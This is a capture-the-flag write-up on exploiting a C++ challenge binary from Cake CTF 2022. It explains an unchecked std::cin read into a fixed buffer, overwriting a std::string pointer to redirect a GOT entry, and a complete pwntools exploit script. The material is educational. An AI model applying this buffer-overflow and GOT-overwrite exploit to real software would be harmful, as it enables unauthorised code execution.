str vs cstr

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Attachments : chall , main.cpp


So, this was an interesting challenge on CPP pwn from Cake CTF. This was the first time I tried my hands on cpp pwning.

First of all, let’s have a look on the security features

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Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Partial RELRO and No PIE! Interesting.

Analyzing the source code of this challenge, we can easily spot a buffer overflow. 

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struct Test{

char* c_str() { return _c_str; }
...
private:
    char _c_str[0x20];
    std::string _str;
}

...
case 1: // set c_str
        std::cout << "c_str: ";
        std::cin >> test.c_str();
        break;

So, the program is reading data into _c_str without any size check which can be used to cause a buffer overflow.

Now, let’s drop the binary in gdb and add some random data.

Interesting. It is clear that std::string is stored in the heap and a pointer to that chunk is stored at 0x7fffffffdd20, just after the buffer _c_str. User data will be read into that chunk whenever std::cin>>test.str(); is called. We can use the buffer overflow on _c_str to replace the pointer to a heap chunk with a GOT address. After that, calling std::cin>>test.str(); would read user supplied data into that particular GOT address. One suitable GOT entry is _ZStlsIcSt11char_trait@GLIBCXX_3.4.21 i.e 0x404040. This will be executed whenever std::cout << "str: " << test.str() << std::endl; is called i.e option 4.
Now, let’s perform a GOT overwrite to make the pointer at 0x404040 point to Test::call_me i.e 0x4016de.

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#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF("./chall")
# p = elf.process()
# gdb.attach(p)
# 
p = remote("pwn1.2022.cakectf.com",9003)

def set_str(data):
	p.sendlineafter("choice: ","3")
	p.sendlineafter("str: ",data)

def set_cstr(data):
	p.sendlineafter("choice: ","1")
	p.sendlineafter("c_str: ",data)

def get_str():
	p.sendlineafter("choice: ","2")
	return p.recvline()[:-1]

def get_cstr():
	p.sendlineafter("choice: ","4")
	return p.recvline()[:-1]


set_str('0'*20)
set_cstr(b'a'*32+p64(0x404040))
set_str(p64(0x00000000004016de))
p.sendline('4')
p.interactive()

References

https://ptr-yudai.hatenablog.com/entry/2021/11/30/235732


https://www.slideshare.net/AngelBoy1/pwning-in-c-basic